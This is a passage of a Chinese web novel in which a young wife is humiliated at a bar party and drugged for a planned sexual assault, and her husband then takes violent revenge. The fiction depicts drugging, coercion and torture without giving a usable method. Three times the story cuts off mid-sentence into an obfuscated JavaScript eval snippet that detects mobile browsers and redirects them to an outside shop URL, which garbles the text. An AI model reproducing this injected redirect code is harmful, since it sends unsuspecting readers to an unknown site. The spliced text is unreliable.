好像离的有些过分近了。 孟昭月这才看清他的眼睛。 桃花眼潋滟波光,很漂亮。 孟昭月忍不住多看了几眼。 而且,总觉得在哪里见过。 男人似乎察觉到了她的注视,唇角勾起。 “是的。” 他的声音压得很低,带着一种刻意伪装过的沙哑磁性。 “这里是许小姐的派对。” 这种距离,早已超过了陌生人之间的社交安全距离。 孟昭月有些不自在地向后退了半步,脸颊微微泛红。 这人……怎么一点分寸感都没有呀。 男人直起身,似乎对她的反应很满意。 他伸出一只戴着黑色皮手套的手,优雅地向卡座区的方向引了引。 “那边就是,孟小姐请。” 孟昭月顺着他指的方向看去,果然看到了那群正在说笑的年轻人。 她点了点头,小声说了句“谢谢”,便朝着那边走了过去。 男人站在原地,看着她纤细的背影,面具后的眼眸微微眯起。 …… 孟昭月走到卡座旁。 原本热闹的谈笑声,在她出现的瞬间,戛然而止。 就像是被按下了暂停键。 所有人的目光都齐刷刷地投向了她。 孟昭月脚步顿了一下,但还是乖巧礼貌地打招呼。 “大家好,我是孟昭月,许蔓的朋友。” 没有人回答。 那几个年轻男女互相对视了一眼。 那种眼神交流非常微妙,带着一种只有他们自己才懂的默契和戏谑。 紧接着,几声压抑的轻笑从人群中传了出来。 “原来你就是‘那位’啊。”一个穿着红色吊带裙的女人意味深长地说了句。 孟昭月没听懂她话里的深意,只觉得气氛有些古怪。 她在角落里找了个空位坐下,将礼物放在一旁。 桌上摆着精致的甜点。 她正好有些饿了,便伸出手,想要去拿面前那块草莓塔。 然而,她的指尖还没碰到。 一只涂着鲜红指甲油的手突然伸了过来,抢先一步将那块草莓塔拿走了。 孟昭月愣了一下,抬起头。 正好对上女人挑衅的目光。 女人上下打量了孟昭月一眼。 最后,她的目光停留在孟昭月脖子上那条血钻项链上。 发出一声毫不掩饰的嗤笑。 “假货戴得挺起劲。” 周围的人立刻发出了一阵低低的笑声,充满了附和与嘲弄。 孟昭月眨了眨眼,慢慢收回了手。 她又不傻。 这种明显的针对和孤立,她还是能感觉到的。 只是她有些不理解。 她根本就不认识这些人。 为什么他们要对自己抱有这么大的恶意? 就在这时,一杯色彩斑斓的鸡尾酒被轻轻放在了她面前。 孟昭月抬起头。 是刚刚那个戴着面具的主理人。 “给你特调的,度数不高。” 他俯下身,声音压得很低,只有他们两个人能听见。 “甜的,你应该会喜欢。” 说完,他又补充了一句。 “少喝点,小心喝醉了。” 孟昭月看着那杯漂亮的鸡尾酒,又看了看男人面具后那双漂亮的眼睛。 真的好熟悉啊。 “谢谢。”她对他露出了一个甜甜的笑容。 男人看着她的笑容,指尖在桌面上轻轻点了点,没有再说什么,转身离开了。 孟昭月端起酒杯,小小地抿了一口。 果然是甜的,带着淡淡的果香,很好喝。 …… 没过多久,清吧的门再次被推开。 一阵喧哗声响起。 “许蔓来了!” “寿星终于到了!” 孟昭月放下酒杯,也跟着看了过去。 只见许蔓穿着一身高定的白色礼服,妆容精致,挽着一个男人的手臂走了进来。 那个男人,正是江淮安。 他今天穿了一身深蓝色的西装,依旧是一副风流倜傥的模样。 孟昭月愣住了。 许蔓不是说……江淮安只是玩玩她吗? 她不是说已经看清这个渣男的真面目了吗? 怎么现在……又挽在一起了? 而且看许蔓脸上的笑容,灿烂得完全不像是受过情伤的样子。 江淮安的视线在场内扫了一圈,很快就锁定了角落里的孟昭月。 他的眼神变了变,有些复杂,但很快就被那惯有的、漫不经心的笑容所掩盖。 “大家都到了啊。”许蔓笑着打招呼,拉着江淮安在主位上坐下。 “抱歉抱歉,路上有点堵车,来晚了。” 她看了一眼孟昭月,笑容更加亲切了。 “昭月也到了?怎么坐那么远?快过来一起玩啊。” 孟昭月看着她那张笑脸,只觉得心里那种怪异的感觉越来越强烈。 但她还是乖巧地点了点头,没有动。 “既然人都到齐了,那我们就开始吧!” …… 吹完蜡烛后,那个红裙女人提议道,“光喝酒多没意思,不如我们来玩国王游戏吧?” “好啊好啊!” 众人纷纷附和,气氛瞬间热烈起来。 “规则大家都懂吧?” “抽到国王牌的人可以指定任意两个号码做任何事。” “被点到的人必须无条件服从,否则就要喝罚酒!” 很快就开始抽牌。 认真抽牌的孟昭月并没有发现,所有人恶意的视线,全都落在她身上了。 第一轮,国王被一个戴眼镜的男生抽到了。 “嗯……那就5号和8号,喝交杯酒!” 人群中爆发出一阵起哄声。 两个被点到的男女笑着喝了交杯酒。 接下来的几轮,尺度虽然有些大,但也都在正常范围内。 期间,那个戴着面具的主理人又走了过来。 他端着一个精致的果盘,放在了桌子中央。 “送的。”他简短地说了两个字。 他的目光在经过孟昭月时,停留了一瞬。 孟昭月看着那个果盘。 里面全是她喜欢吃的水果,切得整整齐齐。 她心里有些疑惑,这个主理人……是不是对自己太好了点? 新的一轮开始了。 红裙女人看着手中的牌,嘴角勾起一抹得逞的笑容。 “我是国王!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793069|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有人的目光都集中在她身上。 “那么……” 她的视线在众人脸上转了一圈,最后落在了孟昭月身上。 虽然按照规矩,她根本不知道孟昭月是什么号码。 “我要梅花3号……” 她故意拖长了尾音,眼里的恶意几乎要溢出来。 “接受现场的一位异性的亲吻!” 话音刚落,全场瞬间安静了一秒。 紧接着,爆发出更大的起哄声和口哨声。 “哇哦!玩这么大!” “快看看是谁是梅花3!” 孟昭月看着手中那张梅花3,整个人都僵住了。 所有人的目光,都顺着她的动作,落在了她手中的牌上。 “哎呀,原来是昭月啊!”红裙女人故作惊讶地捂住了嘴。 在场的男人们,眼神瞬间变得赤裸而猥琐。 他们肆无忌惮地打量着孟昭月。 虽然这个女人……但那张脸和身材,确实是极品。 “怎么样?美女,选谁啊?”一个满脸痘印的男人嬉皮笑脸地凑了过来。 “要不选哥哥我?哥哥技术很好的。” “去你的!人家肯定选江少啊!” 江淮安靠在沙发上,手里晃着酒杯,似笑非笑地看着孟昭月,没有说话,也没有阻止。 许蔓则在一旁低头整理着裙摆,仿佛什么都没听见。 孟昭月:“……” 她叹了口气,把牌丢回去。 用惯有的乖巧笑容对着这些人道:“我喝罚酒。” “哎,那可不行!”红裙女人立刻不干了。 “游戏规则就是规则,哪有说不玩就不玩的?” “再说了,大家出来玩就是图个开心,你这样多扫兴啊。” “就是啊,装什么清高。” “来都来了,玩不起就别来啊。” 周围的指责声和嘲讽声如潮水般涌来。 孟昭月:“……” 她看着面前那排早已准备好的、度数极高的罚酒——整整一排深水**。 这些人,从一开始就是故意的。 ...... 二楼,一间位置隐蔽的包间内。 单向玻璃将楼下大厅的一切尽收眼底。 孟婉凝正坐在梳妆台前,手里拿着一支口红,慢条斯理地补着妆。 镜子里的女人妆容精致,眉眼温婉,端庄得挑不出一丝错处。 “表哥,准备得怎么样了?”孟婉凝放下了口红看向对面的男人。 江浩宁懒洋洋地靠在沙发上,眼睛却死死盯着楼下的孟昭月。 这娇柔纯洁的身段。 历来是他喜欢的这口。 江浩宇扯了扯嘴:“酒店位置我已经发给江淮安了。” “等把这小妞灌醉了,他知道该怎么做的。” 他自然知道江淮安前几天在追这女人。 不过他配吗? 他江浩宇不过开开口,江淮安还不是得乖乖把人送到她床上? 至于时卿舟? 那个时家的私生子就算知道了自己把他老婆睡了,也只能憋着不敢放一个屁。 毕竟,他可是江家的继承人。 他看了眼时间,差不多了,然后站了起来。 “那我先走了,准备享用我的小蛋糕。”江浩宇勾唇,瞥了孟婉凝一眼。 “你还不走?” 孟婉凝笑得温柔得体:“我还在等人。” 江浩宇摆了摆手,离开了。 他离开后不久,一个扎着双马尾的女孩从隔间里走了进来。 “孟大小姐,说好的,我来看小丑了。”时莉莉抱着一个最新的拉布布的玩偶,一屁股坐到了沙发上。 孟婉凝抬了抬下巴:“喏,马上好戏就上演了。” 时莉莉顿时勾起了唇,她举起怀里的玩偶,对着楼下的孟昭月做了一个开枪的手势。 “砰!” “小狗是我的。” “谁也抢不走。” …… 另一边,孟昭月伸手准备拿眼前的酒时。 一只戴着黑色皮手套的手,突然按住了她的手腕。 孟昭月惊讶地抬起头。 是那个主理人。 他好像送完果盘后没有走,就一直站在她的身后。 高大的身影投下一片阴影,将她完全笼罩在其中。 他没有看其他人,只是低着头,那双藏在面具后的眼睛盯着她。 “既然孟小姐不愿意选他们。” “那不如……” 他反手握住了孟昭月的手,指腹在她手背上轻轻摩挲了一下。 “试试我?” 第103章 狂欢 孟昭月看着那双深邃的眼睛。 那里面像是黑色的漩涡,要将她的灵魂都吸进去。 鬼使神差地,她下意识地点了点头。 等到点完头,她才猛地反应过来自己答应了什么。 脸颊瞬间烧了起来。 她在干什么呀? 她已经结婚了,怎么能随便答应别的男人的这种要求? 怎么刚刚一下脑子就抽了? 阿卿要是知道了,肯定会生气的。 她张嘴正想反悔拒绝。 然而,面前的男人并没有给她开口的机会。 他俯下身,动作轻柔得不可思议。 隔着面具,吻轻轻落在了她的额头上。 一触即分。 像是一片雪花落在了皮肤上,转瞬即逝。 没有狎昵,没有冒犯。 带着一种说不清道不明的珍重。 孟昭月彻底愣住了。 男人直起身,居高临下地看着她呆滞的模样,面具后那双眼睛里,漾开了明显的笑意。 他没有说话,只是伸出手,极其自然地帮她理了理额前有些凌乱的碎发。 “玩得尽兴。”男人低低的声音传来,莫名有些宠溺的意思。 然后,转身离开了卡座区,重新回到了阴影里的吧台后。 额头那里似乎还残留着一点金属的冰凉感。 却有种难以言明的热意。 奇怪。 明明是陌生的男人,陌生的环境。 可是这个吻…… 却让她莫名地想到了时卿舟。 心脏的位置,不受控制地跳漏了一拍。 “喂!发什么呆呢?” “切,没劲。”那个红裙女人翻了个白眼,打破了沉默。 “还以为能看场好戏呢,结果是个怂包。” 她不满地嘟囔着,重新开始洗牌。 游戏继续。 接下来的几轮,这几个人完全不装了。 每一次,无论谁当“国王”,抽到的,都是孟昭月数字牌。 提出的要求一个比一个过分,一个比一个充满恶意。 “脱掉内衣,放在桌子上展示一分钟!” “去街上跳一段热舞!” …… 那些充满羞辱意味的指令,伴随着周围人不怀好意的哄笑声,像潮水一样向她涌来。 孟昭月低头看着手中的牌。 她自然不可能接受这些任务。 于是,她面前的空酒杯越来越多。 那些度数极高的深水**、B52轰炸机。 一杯接一杯地灌进了她的胃里。 辛辣的酒液顺着喉咙滑下,在胃里烧起一团火。 她的头开始发晕,视线也变得模糊起来。 周围那些原本清晰的面孔,此刻都扭曲成了嘲弄的鬼脸。 孟昭月下意识地看向阴影处、带着面具的男人。 他的目光从阴影中落到她身上,似乎在等待着她主动开口。 许蔓坐在江淮安身边,静静地看着这一切。 被置于针对中心的可怜女孩。 是她通往名利场的门票。 偶尔在孟昭月快要喝不下去的时候,许蔓假惺惺地劝两句。 “哎呀,大家别玩这么大嘛,昭月酒量不好的。” 但很快就会被其他人用“出来玩就要尽兴”之类的话堵回去。 孟昭月:“……” 大概四五杯酒后。 她已经有些醉了。 她想,她还在这干嘛。 她撑着桌子,摇摇晃晃地站了起来。 “我……我不玩了。” 她的声音有些含糊,但态度坚决。 “我先回去了。” 她转身欲走。 手腕却被人一把拉住了。 是许蔓。 “昭月,别走嘛。” “确实他们有些过分了,下轮不抽你的数字牌了。” 许蔓站起身,拉着她的手,脸上满是真挚的恳求。 “今天是我生日。” “而且……我也没怎么跟你好好说说话。” “就最后一轮,好不好?玩完这一轮,我就让人送你回去。” “我们是好朋友,不是吗?” 孟昭月看着她那张脸,有些恍惚。 好朋友…… 许蔓说过,她们是好朋友。 目前为止许蔓还没展露出什么不好的行为。 或许只是她的那些朋友有问题? 她在酒精的麻痹下,思维变得迟钝。 既然是朋友的生日愿望,那就……再坚持一下吧。 只是最后一轮。 如果再抽到自己,那就直接走就行。 “那……好吧。”她重新坐了回去,揉了揉发胀的太阳穴,“就最后一轮。” 许蔓立刻露出了灿烂的笑容:“我就知道昭月最好了!” 她转身对众人使了个眼色。 新的一轮洗牌、发牌。 这一次,拿到国王牌的人,是那个一直没什么存在感的眼镜男。 他推了推眼镜:“我要……红桃Q。” 孟昭月看了眼自己的牌,总算不是自己了。 而许蔓翻开自己的牌。 正是红桃Q。 “哎呀,是我啊。”她笑着摇了摇头,“说吧,要我做什么?” 眼镜男似乎早就准备好了说辞,他看了一眼孟昭月。 “既然是寿星,那就玩点特别的。” “把你微信里那个闺蜜群,投影到大屏幕上,给大家看看!” 立刻就有人假模假样地劝道:“哎呀,这样不好吧?” “万一伤到了某人的玻璃心怎么办?” “毕竟人家现在可是豪门阔太太,我们这些平头百姓可得罪不起啊。” 语气里充满了阴阳怪气和嘲讽。 孟昭月坐在角落里,被酒精**大脑有些反应不过来。 什么闺蜜群?什么阔太太?什么玻璃心? 许蔓并没有理会那些假惺惺的劝阻,她轻笑一声:“既然输了就要认罚嘛,这可是游戏规则。” 说完,她熟练地将手机连接上了清吧中央那块巨大的公共屏幕。 下一秒。 原本播放着生日快乐的屏幕闪烁了一下。 一个微信群聊的界面,清晰地投影在了所有人的面前。 群名赫然写着几个大字—— 「今天法拉利姐**吗」 孟昭月有些晕乎乎地抬起头,看向屏幕。 当看清那个群名的瞬间,她愣了愣。 法拉利姐? 这是在说谁? 阿卿的车……好像是这个牌子来着…… 还没等她想明白,屏幕上的聊天记录就开始滚动起来。 那是许蔓和她那群所谓的“朋友”们的聊天记录。 满屏都是用她的恶意丑照做的表情包。 夹杂着各种聊天。 「看这女的,又坐法拉利来了,阔太太就是厉害呢。」 「谁让人家会“睡”呗?蔓蔓的副总看她的眼神都不对劲。」 「听说Excel都不会用。」 「我看见她好几次都想勾引许蔓的男朋友,真不要脸。」 「法拉利姐今天**吗?没死赶紧**。」 …… 孟昭月看着那些聊天记录有些郁闷。 她有计算机二级证诶,怎么不会用Excel? 不对,这个不是重点。 她眨了眨眼,努力摈弃酒精的影响。 嗯…… 她以前从来没有朋友。 原来传说中的“好朋友”,是这样的吗? 她沉默了。 还真是……大开眼界了。 许蔓轻笑:“说起来……我还得感谢孟昭月呢。” “要不是她,我根本不会知道,原来这世上,还有厚脸皮、这么不要脸的女人。” 她看向孟昭月,眼神恶毒:“我说孟昭月,你该不会真的以为我把你当朋友了吧?” “你仗着权势在公司里欺负我。” “结婚了还勾引淮安。” “活该没人喜欢你。” 整个清吧瞬间爆发出一阵巨大的哄笑声。 “骂得好!” “就是!这种绿茶婊就该曝光她!” “法拉利姐!哈哈哈哈!这外号绝了!” 口哨声、嘲笑声、辱骂声,像海啸一样将孟昭月淹没。 所有人都指着她,就像是在看一个小丑。 江淮安坐在沙发上,没有参与纷争,只是低头抿着酒。 在他眼中,都是些女人家的争风吃醋,他还有更重要的事情去做。 他下意识地摩挲着手机,里面有江浩宇给他的短信。 而吧台后的阴影里。 那个戴着银色面具的主理人。 他目光扫过在场的每一个人。 那眼神,不像是在看活人。 而是在看一群已经没有了呼吸的尸体。 冰冷,死寂,没有一丝温度。 他的手一下一下地轻轻敲着吧台。 “哒、哒、哒……” 像是敲响的丧钟。 ……. 清吧二楼小包间。 单向玻璃后。 孟婉凝勾唇:“怎么样,满意吗?莉莉小姐。” 时莉莉看着似乎孤立无援的孟昭月,表情兴奋: “啧啧啧,还真是小丑啊。” “真是太可怜了,太好笑了。” 她一边说着,一边用力地揪着玩偶的耳朵,仿佛那就是孟昭月的肉。 孟婉凝慢条斯理地理了理头发:“给予爱,给予光明温暖,再彻底剥夺。” “对于孟昭月这种自幼没什么人爱的人来说,是毁灭性的打击。” “估计……最轻都能患上抑郁症吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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怎么会……戴在孟昭月的脖子上?! 那是我的东西! 那是小狗送给我的东西! 一股无法遏制的怒火瞬间冲上了她的头顶。 她猛地从沙发上站了起来,将怀里的玩偶狠狠地摔在地上。 “那个**!竟然敢偷我的东西!” 孟婉凝抬眼看了一眼时莉莉:“莉莉小姐。” 时莉莉愤怒的神情一顿,然后冷笑着坐了回去:“我会亲手杀了她,把项链抢回来。” …… 与此同时,在众人的嘲笑中。 孟昭月默默地举起了自己的手机。 许蔓愣了一下,下意识地问道:“你干嘛?” 孟昭月无害地乖巧回答:“留存证据呀。” 聊天记录、表情包、辱骂,在场的每一个人。 许蔓、红裙女人、眼镜男、江淮安…… 一个都没有放过。 全部录下。 一时间,包括江淮安在内的所有人都愣住了。 连不远处轻敲吧台的主理人,也停下了动作,目光看向孟昭月。 “你……你说什么?”许蔓有些没反应过来。 孟昭月声音软软的:“我说,这是名誉侵犯的证据。” 大家顿时面面相觑。 许蔓的脸瞬间黑了下来。 “孟昭月,你是没脸吗?”她气急败坏地吼道。 “都被人骂成这样了,还有心思摄像?” “你难道就没有一点羞耻心吗?” 孟昭月乖巧地看着她。 “羞耻心?” 她歪了歪头,眼神无辜。 “为什么你会觉得,我会伤心难过?” “我说过,如果你需要的,我才会把你当做朋友的。” “看这个样子,你不需要朋友诶。” 她不会爱不爱她的人。 孟昭月摇摇晃晃地站了起来,语调里还带着晕酒的软意: “而且,**嘛要因为造谣和污名化感到耻辱呀?” “该感到耻辱的,难道不是侵犯他**益、在背后嚼舌根、恶意中伤别人的你们吗?” 她提起之前带来的那个礼物袋,随手丢进了旁边的垃圾桶里。 “就这啊?” “真没意思。” 说完,她不再看这些人一眼,摇摇晃晃地转身,朝着门口走去。 留下一群人面面相觑,脸色难看至极。 江淮安看着她离去的背影,连忙起身,追了出去。 而吧台后的阴影里。 主理人看着女孩离去的背影,桃花眼里泛起满足的笑意。 他按住耳麦,低声吩咐。 “少夫人玩得尽兴了。” “收网吧。” 他的月月……怎么这么可爱呢。 第104章 清算 孟昭月推着玻璃门,走出了这家不知何意名字的清吧。 夜风****吹来。 混沌的酒意清醒了些。 她踉踉跄跄的往前,手上戳着手机里姜玦的联系方式。 这时一只大手伸了过来,握住了她的手腕。 她迷迷糊糊的抬头。 撞入眼的是江淮安那双狐狸眼。 “昭月……”江淮安低眉看着眼前的女孩,轻轻地唤了一声。 他话还没说话,对方就把手抽了回去。 他空掉的手,唯独留了些暖意。 他的手指微微蜷缩。 女孩杏眼水雾地看着他。 醉意里夹着几分审视。 “江行长,有什么事?” 江淮安放低了声音,带着几分哄人的意思。 “你一个女孩家的喝醉了回去不安全,我送你。” 孟昭月摇头,身子却晃了晃:“我让人来接我。” 江淮安顺势扶住了女孩的身体:“别担心,我不会趁人之危的。” 孟昭月的头晕沉沉的,有些立不住身子了。 刚才那几杯高浓度酒的后劲也上来了。 她立着身子想要躲开。 却被男人推着往前走向路边停着的迈凯伦720s。 “不行……阿卿会生气的。”她有些晕乎乎地说,撑着车门死活不进去。 江淮安半强制地握住孟昭月的手腕,往怀里带了带,然后把人塞进了车里。 “他生气了也没办法。” 江淮安看着副驾上的女孩。 往日带着几分风流的狐狸眼,此刻有些失神。 他低声喃喃自语。 也不知是和谁说话。 “就像我一样。” 不过是个私生子罢了。 就像他,不过是个旁系罢了。 权势的山罩在头上,谁都越不过去。 …… 清吧里。 几个年轻的男男女女们面面相觑,一时间空气有些安静。 直到有人开口:“就这么让那个绿茶走了?” 这时才有人开始担心:“她手机里那个……要真起诉我们怎么办?” 许蔓表情不好,听到这话烦躁地扯了扯裙子: “怕什么?” “玩笑话而已,怎么可能起诉得了。” 况且还有孟大小姐罩着,有事也砸不到她的头上。 有人提议:“先把她追回来,让她把照片删了。” “对对对,快去追人。” 几个男男女女几乎是立刻站了起来,想要去追人。 然后就看到酒吧的主理人站到了门前,抱手看着几人。 “拦着做什么?让开啊。” 其中有人上前想要推开主理人。 却见主理人把那个纯白色的面具摘了下来。 露出了一张俊美无铸的脸。 他脸上带着笑意。 温温柔柔的,看着就是教养良好。 可是那双漂亮的桃花眼扫过众人,让人只觉得心里莫名的打了个寒颤。 红衣吊带裙的女人和清吧的主理人认识,看着对方陌生的脸问道:“你是谁?Jason哪去了?” 只有跟在人群最后面的许蔓,在看清人后,瞬间白了脸色。 时家的少爷。 时卿舟。 他怎么会在里?! 下一秒,秦御带着人推门而入。 黑压压的武装人员,顿时将整个清吧围得水泄不通。 …… 不久前,清吧二楼。 单向玻璃后。 孟婉凝死死盯着楼下那个正举着手机、言笑晏晏的女孩。 女孩带着醉意、一脸乖巧。 她嘴里一句又一句的软软糯糯的话。 却是一巴掌、一巴掌的,扇在了孟婉凝那从容自信的脸上。 孟婉凝手指紧紧扣住沙发的扶手。 女孩每说一句话,孟婉凝的指甲就嵌进皮质沙发里一分。 她不在意?! 她怎么能不在意?! 她一个出身在孤儿院的野种,一个从小生长在重男轻女家庭的穷鬼。 就应该乖乖按她设定好的剧本走啊! 在众人的嘲笑声中崩溃大哭,丧家之犬一样狼狈逃窜啊! 为什么她能这么从容不迫取证、反驳那些人? 明明从优雅地坐在高处看笑话的人,应该是她孟婉凝! 看到自己得意的连环计就这么轻易的被破解了,对孟昭月一点伤害都没造成。 孟婉凝只觉得脸上臊红得热。 而一旁的时莉莉,挑眉看着孟昭月,然后又看了一眼一脸铁青的孟婉凝。 往沙发上一靠,一脸兴致缺缺。 “孟婉凝,这就是你精心攒的局?” “看起来效果不怎么样嘛?” 她有些得意的嘲讽:“我说过,这种耍心机的小打小闹,也就对付牌桌上的棋子有用。” “真正的操盘手,都是直接掀桌的,懂不懂?” “系统,到底谁才是最聪明的宿主,你睁大狗眼好好看看。” 时莉莉毫不客气地落井下石。 早就看这装货不爽了。 要不是她还需要孟婉凝身上的系统,她都懒得和这女人合作。 要她说,还是直接把孟昭月杀了来得方便。 还**诛心? 搞笑。 时莉莉重新看了一眼孟昭月脖颈上的血钻,眼中恶毒毫不掩饰。 然后直接站起了起来,将刚刚丢到地上的拉布布捡了起来。 随手就将这个十几万加价买来的、最新限量款玩偶,丢进了垃圾桶。 “来看小丑?” “看的是你吧,孟婉凝。” 她瞥了眼坐在沙发上,胸口起伏的孟婉凝。 嗤笑一声,然后直接离开了。 时莉莉离开不久后,孟婉凝在二楼自然看到了摘下面具的时卿舟。 他怎么在这里?! 恐惧像冰冷的蛇,顺着脊椎爬了上来。 她猛地站了起来,但是很快就冷静下来。 这里是二楼,位置隐秘,而且没人知道她在这里。 时卿舟应该没有发现她。 只要她现在从后门离开,就能神不知鬼不觉地消失。 对,离开这里。 马上离开。 她抓起手包,转身就往门口走去。 然而,就在她的手触碰到门把手的瞬间。 门,被人从外面推开了。 姜玦站在门口,身后跟着两个黑衣保镖。 他看着孟婉凝,脸上挂着职业化的微笑。 “孟小姐,别着急走啊。” 孟婉凝的心沉到了谷底。 她强装镇定:“姜助理?你怎么会在这里?” 她整理了一下裙摆,姿态端庄。 “我只是和朋友在这里聚会,至于楼下发生的事情,我并不知情。” 姜玦没回应她说的话,只是抬了抬手。 身后的保镖立刻递上来一盒药丸。 他在孟婉凝面前晃了晃。 “这是江总特意交代,让江行长找机会给我们家少夫人服下的‘好东西’。” 孟婉凝看着那颗药丸,脸色微变。 这药是她之前暗示江浩宇准备的。 姜玦:“少爷说了,我们家少夫人身娇体贵,这种来路不明的东西,不能乱吃。” 孟婉凝猛地后退一步:“我不知道这是什么东西!这跟我无关!” 姜玦微笑:“不知道?尝尝就知道了”。 保镖接过药,捏住不断挣扎的孟婉凝的脸颊,将药塞进了她的喉咙里。 姜玦看着不停干呕的孟婉凝,居高临下道。 “少爷让我转告你。” “你的手段,怎么从来都没有长进?” “那就再用同样的手段,让你长长记性。” 孟婉凝捂着喉咙,眼神涣散。 什么手段? 下药吗? 她明明这是第一次下,这么就没长进了? 姜玦没有理会她的疑惑和恐惧,对着保镖吩咐道。 “绑起来,准备‘送礼’。” …… 颐和文华,京江市最顶级的酒店。 迈凯伦缓缓停在酒店门口的阴影里。 车内,江淮安熄了火。 孟昭月蜷缩在真皮座椅里,身上裹着他的西装外套。 那张原本白皙的小脸此刻红扑扑的,像是熟透的水蜜桃。 她的呼吸急促而滚烫,嘴里无意识地哼哼唧唧。 显然他在车上趁她醉酒,给她喂的药效已经开始发作了。 江淮安伸出手,想要去解开身旁的安全带。 指尖触碰到她滚烫的脸颊时,他停住了。 真的很漂亮。 乖巧,干净,像个精致的瓷娃娃。 让人忍不住想要捧在手心里。 又让人忍不住想要……狠狠地摔碎。 他盯着她看了一会儿,心里那股被压抑已久的不甘,像野草一样疯长。 凭什么? 就因为出身? 就因为他是旁系,江浩宇是嫡系? 从小到大,凡是他喜欢的东西,只要江浩宇开口,他就得乖乖双手奉上。 玩具是这样,机会是这样,现在连女人也是这样。 他明明比江浩宇聪明,比江浩宇努力,比江浩宇更有能力。 可在这个家里,他永远只能是一条摇尾乞怜的狗。 他的手指轻轻摩挲着孟昭月泛红的脸颊。 “你丈夫和我也是一样的。” 什么都不是。 “嗡——”他的手机响了。 屏幕上是“江浩宇”三个字。 江淮安深吸一口气,接通了电话。 “喂。” “人到了没?!”电话那头传来江浩宇不耐烦的吼声,“磨磨蹭蹭的,你想死啊?” 江淮安握着手机的手指紧了紧。 “到了。”他的声音有些干涩,“药已经给她吃下了,马上就送上去。” “赶紧的!老子都等不及了!” 江淮安沉默了一下。 他再次看了一眼身旁神志不清的孟昭月。 鬼使神差地,他开口说道:“表弟……要不还是算了吧。” “她毕竟是时家的儿媳妇,又是孟家刚找回来的女儿。” “背景有点复杂,处理起来不方便。” 他顿了顿,语气里带上了一丝讨好。 “我手里有几个刚从Dp弄来的干净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803315|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 货,姿色不比她差,我送过去给你?” “江淮安,**是不是脑子坏了?!”江浩宇在那头破口大骂。 “老子要什么女人没有?我就要这个!” “时卿舟算个屁!一个私生子而已,老子玩他老婆是给他面子!” “至于孟家?生米煮成熟饭,他们还能把我怎么样?” “少废话!给你三分钟!要是人还没送到,你就等着滚出江家吧!” “嘟——嘟——” 电话被挂断了。 江淮安拿着手机,脸色青一阵白一阵。 良久,他发出了一声自嘲的轻笑。 最终,他还是将已经神志不清的孟昭月抱下了车。 …… 清吧一楼。 许蔓站脸色惨白看着眼前的男人,声音都在打颤。 “时……时少爷,这是什么意思?” “别害怕呀。” 一个轻佻的声音从时卿舟身后传来。 “我们家少爷就是看你们玩那个什么‘国王游戏’,觉得挺有意思的,想加入一起玩玩。” 秦御笑嘻嘻地说着。 其他人早已吓得魂不附体,一个个瑟瑟发抖,哪里还敢说半个不字。 时卿舟没有理会他们的反应。 他只是随手从桌上的牌堆里抽了一张。 “看来,我的手气不错。” 时卿舟将牌斯条慢理地放到桌上,是鬼牌。 “我是国王。” 他勾起唇角。 “那么……” 他看向秦御。 秦御立刻会意,一挥手。 几个黑衣人立刻冲进人群,将许蔓拖了出来。 “啊!你们干什么!放开我!”许蔓尖叫着挣扎。 “扒了。”秦御冷冷地下令。 “刺啦——” 布帛撕裂的声音在寂静的大厅里格外刺耳。 下一秒,一个冰冷的金属项圈被扣在了她的脖子上。 “滴。” 项圈上的红灯亮起。 “微型**。”秦御笑眯眯地解释道,“有效范围五十米,离开范围或者试图拆卸,都会……” 他做了一个**的手势。 “砰。” 周围的人吓得魂飞魄散,有人甚至当场尿了裤子。 许蔓捂着赤身裸体的自己尖叫:“我是孟婉凝小姐的人!你们不能动我!” 就在这时,二楼的楼梯口传来了动静。 姜玦带着人走了下来。 两个保镖拖着一个被五花大绑、嘴里塞着布团的女人。 那是……孟婉凝! 许蔓瞪大了眼睛。 她眼里高贵优雅、高不可攀的的孟家大小姐,此刻像条死狗一样被拖了下来。 绝望,彻底淹没了她。 连孟婉凝都栽了…… 她们这些人,还能有什么好下场? 时卿舟看着眼前这片混乱的景象,脸上依旧是那副温柔的表情。 “好了,游戏开始。” 他指尖点了点那张鬼牌。 “我也没什么新意。” “就把刚才给我的妻子的命令,重新来一遍吧。” 时卿舟看向许蔓。 “就从……” “去街上,跳一段艳舞开始。” 他的目光缓缓扫过在场的每一个人,那个红裙女人,那个眼镜男,那个满脸痘的男人…… “别着急。” 他温柔地微笑。 “我们一个一个来。” “慢、慢、玩。” …… 不知过了多久后。 颐和文华,顶层套房。 江浩宇急不可耐地冲进了房间。 房间里没有开灯,一片漆黑。 但他能闻到空气中弥漫着一股淡淡的香气。 是女人的香气。 “宝贝儿……” 他搓着手,一脸淫笑地朝着大床的方向摸去。 “哥哥来了……” 黑暗中,一只柔软的手臂攀上了他的脖子。 紧接着,一具温热的身体贴了上来。 江浩宇心中大喜。 看来药效已经完全发作了。 这小妞,平时装得那么清纯,现在还不是主动投怀送抱? 他顺势搂住了那个女人,急不可耐地吻了上去。 …… 酒店楼下。 江淮安站在寒风里,点燃了最后一根烟。 